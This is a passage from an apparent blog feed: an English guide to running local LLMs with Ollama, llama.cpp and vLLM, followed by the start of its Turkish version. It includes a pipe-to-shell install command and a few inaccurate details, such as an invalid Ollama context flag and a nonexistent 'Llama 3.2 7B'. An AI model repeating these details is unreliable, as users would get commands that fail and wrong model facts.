href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank">llama.cpp</a> is the core engine of the local AI ecosystem. It is built from scratch in C++ and tuned to get the highest efficiency out of consumer hardware.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Clone the repository and build</span> $<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/ggerganov/llama.cpp $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>llama.cpp $<span class="w"> </span>make <span class="c1"># Run a quantized GGUF model</span> $<span class="w"> </span>./llama-cli<span class="w"> </span>-m<span class="w"> </span>models/llama-7b-q4_k_m.gguf<span class="w"> </span>-n<span class="w"> </span><span class="m">256</span> </code></pre></div> <p>llama.cpp supports more compression formats and is incredibly resource-friendly.</p> <ul> <li><strong>Best For:</strong> Professionals who want to squeeze the highest speed out of limited hardware and allocate memory with millimetric precision.</li> </ul> <h3 id="3-vllm-production-ready-and-multi-user-systems">3. vLLM &mdash; Production-Ready and Multi-User Systems<a class="headerlink" href="#3-vllm-production-ready-and-multi-user-systems" title="Permanent link">#</a></h3> <p><a href="https://vllm.ai/" rel="noopener noreferrer" target="_blank">vLLM</a> is a perfect fit for scaling things up. Thanks to its 'PagedAttention' technology, it can answer requests from multiple users at the same time with a much higher word generation speed.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Serve a model from Hugging Face via vLLM</span> $<span class="w"> </span>python3<span class="w"> </span>-m<span class="w"> </span>vllm.entrypoints.openai.api_server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--model<span class="w"> </span>meta-llama/Llama-3.1-8B-Instruct<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--dtype<span class="w"> </span>half<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tensor-parallel-size<span class="w"> </span><span class="m">2</span> </code></pre></div> <ul> <li><strong>Best For:</strong> Servers connecting multiple users and high-traffic production setups.</li> </ul> <hr/> <h2 id="what-are-the-hardware-requirements_1">What Are the Hardware Requirements? 📊<a class="headerlink" href="#what-are-the-hardware-requirements" title="Permanent link">#</a></h2> <p>The most critical point of running a model locally is your graphics card's memory (VRAM).</p> <table> <thead> <tr> <th style="text-align: left;">Model Size</th> <th style="text-align: left;">VRAM Needed</th> <th style="text-align: left;">GPU Examples</th> <th style="text-align: left;">Ideal Use Case</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>7B</strong></td> <td style="text-align: left;">6 - 8 GB</td> <td style="text-align: left;">RTX 3060, RTX 4070</td> <td style="text-align: left;">Personal assistant, basic coding help</td> </tr> <tr> <td style="text-align: left;"><strong>13B / 14B</strong></td> <td style="text-align: left;">10 - 16 GB</td> <td style="text-align: left;">RTX 4080, RTX 3090</td> <td style="text-align: left;">Daily developer tasks, better reasoning</td> </tr> <tr> <td style="text-align: left;"><strong>32B / 34B</strong></td> <td style="text-align: left;">24 - 32 GB</td> <td style="text-align: left;">RTX 4090, A6000</td> <td style="text-align: left;">Complex coding and high-quality analysis</td> </tr> <tr> <td style="text-align: left;"><strong>70B</strong></td> <td style="text-align: left;">80 GB+</td> <td style="text-align: left;">A100, H100 (or 2x RTX 3090)</td> <td style="text-align: left;">Deep research, enterprise solutions</td> </tr> </tbody> </table> <p><strong>Model Squeeze (Quantization):</strong> The formula for squeezing models into local systems is compression. Q4 (4-bit) quantization reduces the file size by 75% with almost no noticeable drop in model quality. Q5 quantization is the sweet spot for the balance of speed and intelligence. Q8 quantization gives the closest quality to the original model, but the memory requirement doubles.</p> <h3 id="gpu-recommendations-for-2026">GPU Recommendations for 2026<a class="headerlink" href="#gpu-recommendations-for-2026" title="Permanent link">#</a></h3> <ul> <li><strong>Budget-Friendly:</strong> NVIDIA RTX 3060 12GB. It can be found in the Turkish market for around 17,400 TL. Runs 7B models comfortably, and 13B models in their compressed state.</li> <li><strong>Price/Performance Peak:</strong> NVIDIA RTX 4090 24GB. Though it costs around 130,000 TL, it is the most professional way to run compressed 32B-34B models at high speeds.</li> <li><strong>Pro Level:</strong> NVIDIA RTX 6000 Ada 48GB. Around 310,000 TL. Carries compressed 70B models all by itself.</li> <li><strong>Server Grade:</strong> NVIDIA A100 80GB or H100. Strictly for enterprise and production-centric projects.</li> </ul> <hr/> <h2 id="ollama-setup-the-easy-way_1">Ollama Setup (The Easy Way) 🛠️<a class="headerlink" href="#ollama-setup-the-easy-way" title="Permanent link">#</a></h2> <p>If you want to step into local AI the fastest way, start here.</p> <div class="highlight"><pre><span></span><code><span class="c1"># 1. Download and install Ollama</span> $<span class="w"> </span>curl<span class="w"> </span>-fsSL<span class="w"> </span>https://ollama.com/install.sh<span class="w"> </span><span class="p">|</span><span class="w"> </span>sh <span class="c1"># 2. Pull the model file</span> $<span class="w"> </span>ollama<span class="w"> </span>pull<span class="w"> </span>llama3.2 <span class="c1"># 3. Run the model in terminal</span> $<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama3.2 <span class="c1"># 4. Or start as background API server</span> $<span class="w"> </span>ollama<span class="w"> </span>serve </code></pre></div> <p>Now your local AI is ready.</p> <h3 id="python-integration-with-local-model">Python Integration with Local Model<a class="headerlink" href="#python-integration-with-local-model" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">ollama</span> <span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span> <span class="n">model</span><span class="o">=</span><span class="s1">'llama3.2'</span><span class="p">,</span> <span class="n">messages</span><span class="o">=</span><span class="p">[</span> <span class="p">{</span><span class="s1">'role'</span><span class="p">:</span> <span class="s1">'user'</span><span class="p">,</span> <span class="s1">'content'</span><span class="p">:</span> <span class="s1">'Can you write a Python function that calculates factorials?'</span><span class="p">}</span> <span class="p">]</span> <span class="p">)</span> <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="p">[</span><span class="s1">'message'</span><span class="p">][</span><span class="s1">'content'</span><span class="p">])</span> </code></pre></div> <h3 id="openai-sdk-compatibility">OpenAI SDK Compatibility<a class="headerlink" href="#openai-sdk-compatibility" title="Permanent link">#</a></h3> <p>Ollama exposes an OpenAI-compatible API, so you can transition your existing code by changing only the base URL:</p> <div class="highlight"><pre><span></span><code><span class="kn">from</span><span class="w"> </span><span class="nn">openai</span><span class="w"> </span><span class="kn">import</span> <span class="n">OpenAI</span> <span class="n">client</span> <span class="o">=</span> <span class="n">OpenAI</span><span class="p">(</span> <span class="n">base_url</span><span class="o">=</span><span class="s2">"http://localhost:11434/v1"</span><span class="p">,</span> <span class="n">api_key</span><span class="o">=</span><span class="s2">"ollama"</span> <span class="c1"># Dummy key is enough</span> <span class="p">)</span> <span class="n">response</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">chat</span><span class="o">.</span><span class="n">completions</span><span class="o">.</span><span class="n">create</span><span class="p">(</span> <span class="n">model</span><span class="o">=</span><span class="s2">"llama3.2"</span><span class="p">,</span> <span class="n">messages</span><span class="o">=</span><span class="p">[{</span><span class="s2">"role"</span><span class="p">:</span> <span class="s2">"user"</span><span class="p">,</span> <span class="s2">"content"</span><span class="p">:</span> <span class="s2">"Hello!"</span><span class="p">}]</span> <span class="p">)</span> </code></pre></div> <hr/> <h2 id="llamacpp-setup-maximum-control_1">llama.cpp Setup (Maximum Control) ⚙️<a class="headerlink" href="#llamacpp-setup-maximum-control" title="Permanent link">#</a></h2> <p>If you want more control and speed, proceed directly via llama.cpp.</p> <div class="highlight"><pre><span></span><code><span class="c1"># 1. Clone the repository and build</span> $<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/ggerganov/llama.cpp $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>llama.cpp $<span class="w"> </span>make <span class="c1"># 2. Place your downloaded GGUF model from Hugging Face into models/ folder</span> <span class="c1"># 3. Run with custom compression and memory parameters</span> $<span class="w"> </span>./llama-cli<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-m<span class="w"> </span>models/llama-7b-q4_k_m.gguf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-n<span class="w"> </span><span class="m">512</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-c<span class="w"> </span><span class="m">4096</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--temp<span class="w"> </span><span class="m">0</span>.7 </code></pre></div> <h3 id="finding-gguf-models">Finding GGUF Models<a class="headerlink" href="#finding-gguf-models" title="Permanent link">#</a></h3> <p>Hugging Face hosts many GGUF-format models. Search for "GGUF" and filter by model size. Popular choices include:</p> <ul> <li><strong>Qwen 2.5:</strong> One of the most capable models of the recent era, available in different sizes. (If you want to run a Qwen-based model locally as a coding assistant, my <a href="/en/qwen-3-6-27b-yerel-kod-modeli-kurulumu/">Qwen 3.6 Local Code Model Setup</a> guide will help you).</li> <li><strong>Llama 3.2:</strong> Meta's official lightweight and fast models.</li> <li><strong>Phi-3:</strong> Microsoft's small but mighty models.</li> <li><strong>Mistral:</strong> Famous for its balance of intelligence and size.</li> </ul> <p>For detailed intelligence and performance comparisons of the most successful open-source models you can run locally in 2026, check out my <a href="/en/en-iyi-yerel-llm-modelleri-2026/">Best Local LLM Models (2026)</a> review.</p> <hr/> <h2 id="performance-tips-to-boost-your-setup_1">Performance Tips to Boost Your Setup 💡<a class="headerlink" href="#performance-tips-to-boost-your-setup" title="Permanent link">#</a></h2> <ul> <li><strong>Enable GPU Acceleration:</strong> Trying to force AI to run on just CPU instead of the graphics card (GPU) is like trying to drive a sports car uphill with the handbrake pulled.<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> If you are using llama.cpp, make sure to compile with CUDA support: <code>bash $ make LLAMA_CUDA=1</code></li> <li><strong>Memory and Context Length:</strong> Models open with a default context limit of 4K (4096 tokens). On most graphics cards, you can push this to 8K or 16K. However, going to 32K and above will consume VRAM significantly. <code>bash # Set context to 8K on Ollama: $ ollama run llama3.2 -c 8192</code></li> <li><strong>Batch Size:</strong> To speed up prompt ingestion, you can increase this value. If you have headroom in your VRAM, you can push the default to 512. <code>bash $ ./llama-cli -b 512 -m model.gguf</code></li> </ul> <hr/> <h2 id="cloud-api-services-vs-local-setup">Cloud API Services vs. Local Setup<a class="headerlink" href="#cloud-api-services-vs-local-setup" title="Permanent link">#</a></h2> <table> <thead> <tr> <th style="text-align: left;">Factor</th> <th style="text-align: left;">Cloud API Services</th> <th style="text-align: left;">Self-Hosted</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>Setup Time</strong></td> <td style="text-align: left;">A few minutes</td> <td style="text-align: left;">A few hours</td> </tr> <tr> <td style="text-align: left;"><strong>Cost (low usage)</strong></td> <td style="text-align: left;">Pay per use</td> <td style="text-align: left;">Requires hardware investment</td> </tr> <tr> <td style="text-align: left;"><strong>Cost (high usage)</strong></td> <td style="text-align: left;">High monthly bills (around 23,000 TL+)</td> <td style="text-align: left;">Only electricity bill (around 500 - 1,500 TL/month)<sup id="fnref:3"><a class="footnote-ref" href="#fn:3">3</a></sup></td> </tr> <tr> <td style="text-align: left;"><strong>Privacy</strong></td> <td style="text-align: left;">Your data goes to cloud servers</td> <td style="text-align: left;">100% local and private</td> </tr> <tr> <td style="text-align: left;"><strong>Customization</strong></td> <td style="text-align: left;">Limited to available models</td> <td style="text-align: left;">Any model, any fine-tune</td> </tr> <tr> <td style="text-align: left;"><strong>Maintenance</strong></td> <td style="text-align: left;">No maintenance required</td> <td style="text-align: left;">Updates and hardware maintenance required</td> </tr> <tr> <td style="text-align: left;"><strong>Performance</strong></td> <td style="text-align: left;">Latest flagship models</td> <td style="text-align: left;">Limited by hardware power</td> </tr> </tbody> </table> <hr/> <h2 id="popular-setup-recipes">Popular Setup Recipes 💡<a class="headerlink" href="#popular-setup-recipes" title="Permanent link">#</a></h2> <ul> <li><strong>Budget-Friendly Coding Assistant:</strong> RTX 3060 + Ollama + Llama 3.2 7B. Runs silently in the background, answers coding questions, and reviews code.</li> <li><strong>Developer Workstation:</strong> RTX 4090 + Ollama + Mix of models. 13B/14B for complex tasks, 7B for quick chats. Can also run Stable Diffusion for image generation.</li> <li><strong>Home Server (Enthusiast):</strong> Threadripper CPU + Multiple RTX 4090s + vLLM. Serves multiple models to a family or a small team. Can be trained on local documents.</li> </ul> <hr/> <h2 id="when-is-a-local-setup-not-needed">When is a Local Setup Not Needed?<a class="headerlink" href="#when-is-a-local-setup-not-needed" title="Permanent link">#</a></h2> <p>If you must always use the most intelligent and up-to-date models (GPT-4, Claude 3.5 Opus, etc.), do not leave the cloud. If you only ask AI a question once in a blue moon, using APIs is still more cost-effective. If you do not enjoy dealing with technical configurations, the setup process might feel tedious.</p> <hr/> <h2 id="security-measures">Security Measures 🔒<a class="headerlink" href="#security-measures" title="Permanent link">#</a></h2> <p>Running locally keeps your data private, but you still need to be careful: 1. Do not download model files from unknown sources on Hugging Face. 2. Keep your interface software regularly updated. 3. If possible, isolate the AI server from other critical home networks and sensitive systems.</p> <hr/> <h2 id="to-get-to-the-point">To Get to the Point<a class="headerlink" href="#to-get-to-the-point" title="Permanent link">#</a></h2> <p>As of 2026, running local AI is no longer just a hobby; it has become a very logical step for privacy and budget management. Starting with Ollama to see the limits of your system is the most sensible path, my friend. 🚀</p> <p>At the end of the day, even if local models cannot fully match the massive processing power of the cloud, having an AI that is under your own control and runs smoothly even if the internet goes down is priceless.</p> <p>Stay safe!</p> <hr/> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>In high-usage scenarios, the money paid to cloud providers eventually exceeds the cost of building your own hardware.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Trying to force AI to run on just CPU instead of the graphics card (GPU) is like trying to drive a sports car uphill with the handbrake pulled.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> <li id="fn:3"> <p>Residential electricity prices in Turkey are tiered. According to EPDK's 2026 rates, the cost of 1 kWh including taxes varies between 3.24 TL and 5.46 TL. A single-GPU developer workstation running under full load for an average of 8 hours a day consumes about 120-150 kWh per month, which falls into this bill range.&nbsp;<a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-04T22:45:00+03:002026-06-04T22:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-04:/yerel-llm-kurulum-rehberi-2026/

<p>2026 yılında kendi sisteminizde yapay zeka modellerini çalıştırmanın yollarını, donanım gereksinimlerini ve en verimli yazılımları (Ollama, llama.cpp, vLLM) inceliyoruz.</p>

<p>D&uuml;n ak&scedil;am bizim ufakl&inodot;klar&inodot; uyuttuktan sonra, masan&inodot;n &uuml;zerindeki &ccedil;ay&inodot;mdan bir yudum al&inodot;p yerel yapay zeka kurulumlar&inodot;m&inodot; kurcalamaya ba&scedil;lad&inodot;m. 💻 Bulut servislerine giden verilerin gizlili&gbreve;i ve her ay kabaran API faturalar&inodot; bir s&uuml;redir kafam&inodot; kurcal&inodot;yordu. Kendi kendime, "Neden t&uuml;m bu asistanl&inodot;k i&scedil;lerini kendi yerel sunucumuzda halletmiyoruz?" dedim.</p> <p>Bu rehber; verilerinin d&inodot;&scedil;ar&inodot; &ccedil;&inodot;kmas&inodot;n&inodot; istemeyen, gizlili&gbreve;e &ouml;nem veren geli&scedil;tiricileri, API faturalar&inodot;ndan kurtulmak isteyenleri ve kendi donan&inodot;m&inodot;n&inodot;n s&inodot;n&inodot;rlar&inodot;n&inodot; zorlamaktan keyif alan herkesi ilgilendiriyor. Yaz&inodot;n&inodot;n sonunda, 2026 itibar&inodot;yla yerel yapay zeka d&uuml;nyas&inodot;n&inodot;n ne durumda oldu&gbreve;unu, Ollama, llama.cpp ve vLLM gibi pop&uuml;ler ara&ccedil;lar&inodot; nas&inodot;l kullanaca&gbreve;&inodot;m&inodot;z&inodot; ve donan&inodot;m gereksinimlerini net bir &scedil;ekilde g&ouml;receksiniz dostum. 🚀</p> <hr/> <h2 id="neden-2026da-kendi-sunucumuz">Neden 2026'da Kendi Sunucumuz? 💰<a class="headerlink" href="#neden-2026da-kendi-sunucumuz" title="Permanent link">#</a></h2> <p>Yerel yapay zeka d&uuml;nyas&inodot;nda dengeler tamamen de&gbreve;i&scedil;ti. Bulut servislerinin (GPT-4 ve Claude gibi) yo&gbreve;un kullan&inodot;mda ayl&inodot;k API faturalar&inodot; kolayca 500 dolar&inodot; (yakla&scedil;&inodot;k 23.000 TL) a&scedil;abiliyor.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> &Idot;lk etapta donan&inodot;m yat&inodot;r&inodot;m&inodot; y&uuml;ksek gibi g&ouml;r&uuml;nse de, d&uuml;zenli kullan&inodot;mda sistem kendini &ccedil;ok h&inodot;zl&inodot; amorti ediyor. Bu kurulumlar i&ccedil;in b&uuml;t&ccedil;enize en uygun ekran kart&inodot;n&inodot; se&ccedil;mek kritik &ouml;nem ta&scedil;&inodot;yor; ekran kart&inodot; modelleri ve b&uuml;t&ccedil;e segmentleri hakk&inodot;nda detayl&inodot; incelemem i&ccedil;in <a href="/yerel-llmler-icin-en-iyi-gpu-2026/">Yerel LLM'ler &Idot;&ccedil;in En &Idot;yi Ekran Kartlar&inodot; (2026)</a> yaz&inodot;ma g&ouml;z atabilirsiniz.</p> <p>En &ouml;nemlisi de gizlilik art&inodot;k l&uuml;ks de&gbreve;il, bir zorunluluk. Yazd&inodot;&gbreve;&inodot;n&inodot;z kodlar&inodot;n, &scedil;irket belgelerinizin veya ki&scedil;isel sohbetlerinizin b&uuml;y&uuml;k teknoloji &scedil;irketlerinin modellerini e&gbreve;itmek i&ccedil;in kullan&inodot;lmas&inodot;n&inodot; kim ister?</p> <p>Modeller de inan&inodot;lmaz geli&scedil;ti. S&inodot;k&inodot;&scedil;t&inodot;rma (quantization) teknikleri sayesinde yerelde ko&scedil;an 13B (milyar parametreli) bir model, &ccedil;o&gbreve;u g&uuml;nl&uuml;k i&scedil; ak&inodot;&scedil;&inodot;nda eski GPT-3.5 seviyesini rahatl&inodot;kla geride b&inodot;rak&inodot;yor. &Ccedil;o&gbreve;u zaman d&uuml;nyan&inodot;n en b&uuml;y&uuml;k modeline de&gbreve;il, i&scedil;inizi t&inodot;k&inodot;r t&inodot;k&inodot;r halledecek do&gbreve;ru modele ihtiyac&inodot;n&inodot;z var.</p> <hr/> <h2 id="yerel-yapay-zekann-uc-buyuk-arac">Yerel Yapay Zekan&inodot;n &Uuml;&ccedil; B&uuml;y&uuml;k Arac&inodot; ⚙️<a class="headerlink" href="#yerel-yapay-zekann-uc-buyuk-arac" title="Permanent link">#</a></h2> <h3 id="1-ollama-kolaylk-arayanlar-icin-tek-komutla-kurulum">1. Ollama &mdash; Kolayl&inodot;k Arayanlar &Idot;&ccedil;in (Tek Komutla Kurulum)<a class="headerlink" href="#1-ollama-kolaylk-arayanlar-icin-tek-komutla-kurulum" title="Permanent link">#</a></h3> <p><a href="https://ollama.com/" rel="noopener noreferrer" target="_blank">Ollama</a> yerel d&uuml;nyay&inodot; tamamen de&gbreve;i&scedil;tirdi. Kurulumu tek sat&inodot;r, &ccedil;al&inodot;&scedil;t&inodot;rmas&inodot; tek sat&inodot;r. Modeli arka planda indirmeyi, ekran kart&inodot; (GPU) belle&gbreve;ine yerle&scedil;tirmeyi ve yerel bir sunucu gibi aya&gbreve;a kald&inodot;rmay&inodot; tamamen kendi hallediyor.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Kurulum (Linux ve macOS)</span> $<span class="w"> </span>curl<span class="w"> </span>-fsSL<span class="w"> </span>https://ollama.com/install.sh<span class="w"> </span><span class="p">|</span><span class="w"> </span>sh <span class="c1"># Modeli &ccedil;al&inodot;&scedil;t&inodot;rma</span> $<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama3.2 <span class="c1"># Y&uuml;kl&uuml; modelleri listeleme</span> $<span class="w"> </span>ollama<span class="w"> </span>list </code></pre></div> <p>Ollama; Windows, macOS ve Linux &uuml;zerinde ekran kart&inodot; ivmelendirmesini otomatik olarak alg&inodot;lay&inodot;p kullan&inodot;yor. K&uuml;t&uuml;phanesinde kullan&inodot;ma haz&inodot;r y&uuml;zlerce model bar&inodot;nd&inodot;r&inodot;yor.</p> <ul> <li><strong>En &Idot;yi Kullan&inodot;m Yeri:</strong> H&inodot;zl&inodot;ca aya&gbreve;a kalkmak ve karma&scedil;&inodot;k ayarlarla u&gbreve;ra&scedil;madan hemen kodlamaya ba&scedil;lamak isteyenler.</li> </ul> <h3 id="2-llamacpp-maksimum-performans-ve-ince-ayar">2. llama.cpp &mdash; Maksimum Performans ve &Idot;nce Ayar<a class="headerlink" href="#2-llamacpp-maksimum-performans-ve-ince-ayar" title="Permanent link">#</a></h3> <p><a href="https://github.com/ggerganov/llama.cpp" rel="noopener noreferrer" target="_blank">llama.cpp</a> yerel yapay zeka ekosisteminin en temel motorudur. C++ ile tamamen s&inodot;f&inodot;rdan yaz&inodot;lm&inodot;&scedil;, t&uuml;ketici donan&inodot;mlar&inodot;nda maksimum verim elde etmek i&ccedil;in tasarlanm&inodot;&scedil; bir yap&inodot;d&inodot;r.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Depoyu klonlay&inodot;p derleme</span> $<span class="w"> </span>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/ggerganov/llama.cpp $<span class="w"> </span><span class="nb">cd</span><span class="w"> </span>llama.cpp $<span class="w"> </span>make <span class="c1"># S&inodot;k&inodot;&scedil;t&inodot;r&inodot;lm&inodot;&scedil; GGUF modelini &ccedil;al&inodot;&scedil;t&inodot;rma</span> $<span class="w"> </span>./llama-cli<span class="w"> </span>-m<span class="w"> </span>models/llama-7b-q4_k_m.gguf<span class="w"> </span>-n<span class="w"> </span><span class="m">256</span> </code></pre></div> <p>llama.cpp &ccedil;ok daha fazla s&inodot;k&inodot;&scedil;t&inodot;rma format&inodot;n&inodot; destekliyor ve kaynak t&uuml;ketimi konusunda inan&inodot;lmaz derecede cimri davran&inodot;yor.</p> <ul> <li><strong>En &Idot;yi Kullan&inodot;m Yeri:</strong> S&inodot;n&inodot;rl&inodot; donan&inodot;mda en y&uuml;ksek h&inodot;z&inodot; elde etmek ve bellek payla&scedil;&inodot;m&inodot;n&inodot; milimetrik ayarlamak isteyen profesyoneller.</li> </ul> <h3 id="3-vllm-uretim-odakl-ve-cok-kullancl-sistemler">3. vLLM &mdash; &Uuml;retim Odakl&inodot; ve &Ccedil;ok Kullan&inodot;c&inodot;l&inodot; Sistemler<a class="headerlink" href="#3-vllm-uretim-odakl-ve-cok-kullancl-sistemler" title="Permanent link">#</a></h3> <p><a href="https://vllm.ai/" rel="noopener noreferrer" target="_blank">vLLM</a> i&scedil;i b&uuml;y&uuml;tmek isteyenler i&ccedil;in bi&ccedil;ilmi&scedil; kaftan. "PagedAttention" teknolojisi sayesinde ayn&inodot; anda birden fazla kullan&inodot;c&inodot;n&inodot;n isteklerini &ccedil;ok daha y&uuml;ksek kelime &uuml;retim h&inodot;z&inodot;yla yan&inodot;tlayabiliyor.</p> <div class="highlight"><pre><span></span><code><span class="c1"># Hugging Face &uuml;zerindeki modeli vLLM ile sunma</span> $<span class="w"> </span>python3<span class="w"> </span>-m<span class="w"> </span>vllm.entrypoints.openai.api_server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--model<span class="w"> </span>meta-llama/Llama-3.1-8B-Instruct<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--dtype<span class="w"> </span>half<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tensor-parallel-size<span class="w"> </span><span class="m">2</span> </code></pre></div> <ul> <li><strong>En &Idot;yi Kullan&inodot;m Yeri:</strong> Birden fazla kullan&inodot;c&inodot;n&inodot;n ba&gbreve;lanaca&gbreve;&inodot; sunucular ve y&uuml;ksek trafikli &uuml;retim sistemleri.</li> </ul> <hr/> <h2 id="donanm-gereksinimleri-neler_1">Donan&inodot;m Gereksinimleri Neler? 📊<a class="headerlink" href="#donanm-gereksinimleri-neler" title="Permanent link">#</a></h2> <p>Yerelde model &ccedil;al&inodot;&scedil;t&inodot;rman&inodot;n en kritik noktas&inodot; ekran kart&inodot;n&inodot;z&inodot;n belle&gbreve;idir (VRAM).</p> <table> <thead> <tr> <th style="text-align: left;">Model Boyutu</th> <th style="text-align: left;">Gereken VRAM</th> <th style="text-align: left;">Ekran Kart&inodot; &Ouml;rnekleri</th> <th style="text-align: left;">&Idot;deal Kullan&inodot;m Amac&inodot;</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;"><strong>7B</strong></td> <td style="text-align: left;">6 - 8 GB</td> <td style="text-align: left;">RTX 3060, RTX 4070</td> <td style="text-align: left;">Ki&scedil;isel asistanl&inodot;k, basit kodlama yard&inodot;m&inodot;</td> </tr> <tr> <td style="text-align: left;"><strong>13B / 14B</strong></td> <td style="text-align: left;">10 - 16 GB</td> <td style="text-align: left;">RTX 4080, RTX 3090</td> <td style="text-align: left;">G&uuml;nl&uuml;k yaz&inodot;l&inodot;m i&scedil;leri, daha iyi mant&inodot;k y&uuml;r&uuml;tme</td> </tr> <tr> <td style="text-align: left;"><strong>32B / 34B</strong></td> <td style="text-align: left;">24 - 32 GB</td> <td style="text-align: left;">RTX 4090, A6000</td> <td style="text-align: left;">Karma&scedil;&inodot;k kodlama ve y&uuml;ksek kaliteli analizler</td> </tr> <tr> <td style="text-align: left;"><strong>70B</strong></td> <td style="text-align: left;">80 GB+</td> <td style="text-align: left;">A100, H100 (veya 2x RTX 3090)</td> <td style="text-align: left;">Derin ara&scedil;t&inodot;rma, kurumsal seviye &ccedil;&ouml;z&uuml;mler</td> </tr> </tbody> </table> <p><strong>Model S&inodot;k&inodot;&scedil;t&inodot;rma (Quantization):</strong> Modelleri yerel sistemlere s&inodot;&gbreve;d&inodot;rman&inodot;n form&uuml;l&uuml; s&inodot;k&inodot;&scedil;t&inodot;rmad&inodot;r. Q4 (4-bit) s&inodot;k&inodot;&scedil;t&inodot;rma, model kalitesinden neredeyse &ouml;d&uuml;n vermeden dosya boyutunu %75 oran&inodot;nda k&uuml;&ccedil;&uuml;lt&uuml;r. Q5 s&inodot;k&inodot;&scedil;t&inodot;rma ise h&inodot;z ve zeka dengesi i&ccedil;in en ideal noktad&inodot;r. Q8 s&inodot;k&inodot;&scedil;t&inodot;rma ise orijinal modele en yak&inodot;n kaliteyi sunar ama bellek gereksinimi iki kat&inodot;na &ccedil;&inodot;kar.</p> <h3 id="2026-icin-gpu-tavsiyeleri">2026 &Idot;&ccedil;in GPU Tavsiyeleri<a class="headerlink" href="#2026-icin-gpu-tavsiyeleri" title="Permanent link">#</a></h3> <ul> <li><strong>B&uuml;t&ccedil;e Dostu:</strong> NVIDIA RTX 3060 12GB. T&uuml;rkiye piyasas&inodot;nda yakla&scedil;&inodot;k 17.400 TL band&inodot;nda bulunabiliyor. 7B modelleri &ccedil;ok rahat, 13B modelleri ise s&inodot;k&inodot;&scedil;t&inodot;r&inodot;lm&inodot;&scedil; olarak &ccedil;al&inodot;&scedil;t&inodot;r&inodot;r.</li> <li><strong>Fiyat/Performans Zirvesi:</strong> NVIDIA RTX 4090 24GB. Yakla&scedil;&inodot;k 130.000 TL fiyat&inodot; olsa da, 32B-34B s&inodot;k&inodot;&scedil;t&inodot;r&inodot;lm&inodot;&scedil; modelleri y&uuml;ksek h&inodot;zda ko&scedil;turman&inodot;n en profesyonel yoludur.</li> <li><strong>&Idot;leri Seviye (Pro):</strong> NVIDIA RTX 6000 Ada 48GB. Yakla&scedil;&inodot;k 310.000 TL. 70B s&inodot;k&inodot;&scedil;t&inodot;r&inodot;lm&inodot;&scedil; modelleri tek ba&scedil;&inodot;na s&inodot;rtlar.</li> <li><strong>Sunucu S&inodot;n&inodot;f&inodot;:</strong> NVIDIA A100 80GB veya H100. Tamamen kurumsal ve &uuml;retim odakl&inodot; projeler i&ccedil;in.</li> </ul> <hr/> <h2 id="ollama-kurulumu-en-kolay-yol_1">Ollama Kurulumu (En Kolay Yol) 🛠️<a class="headerlink" href="#ollama-kurulumu-en-kolay-yol" title="Permanent link">#</a></h2> <p>Yerel yapay zekaya en h&inodot;zl&inodot; yoldan ad&inodot;m atmak istiyorsan&inodot;z buradan ba&scedil;lay&inodot;n.</p> <div class="highlight"><pre><span></span><code><span class="c1"># 1. Ollama'y&inodot; indirin ve kurun</span> $<span class="w"> </span>curl<span class="w"> </span>-fsSL<span class="w"> </span>https://ollama.com/install.sh<span class="w"> </span><span class="p">|</span><span class="w"> </span>sh <span class="c1"># 2. Model dosyas&inodot;n&inodot; &ccedil;ekin</span> $<span class="w"> </span>ollama<span class="w"> </span>pull<span class="w"> </span>llama3.2 <span class="c1"># 3. Modeli terminalde &ccedil;al&inodot;&scedil;t&inodot;r&inodot;n</span> $<span class="w"> </span>ollama<span class="w"> </span>run<span class="w"> </span>llama3.2 <span class="c1"># 4. Sunucu modunda arka planda ba&scedil;latmak i&ccedil;in</span> $<span class="w"> </span>ollama<span class="w"> </span>serve </code></pre></div> <p>Art&inodot;k yerel yapay zekan&inodot;z haz&inodot;r.</p> <h3 id="python-ile-yerel-modelimizi-konusturmak">Python &Idot;le Yerel Modelimizi Konu&scedil;turmak<a class="headerlink" href="#python-ile-yerel-modelimizi-konusturmak" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code><span class="kn">import</span><span class="w"> </span><span class="nn">ollama</span> <span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span> <span class="n">model</span><span class="o">=</span><span class="s1">'llama3.2'</span><span class="p">,</span> 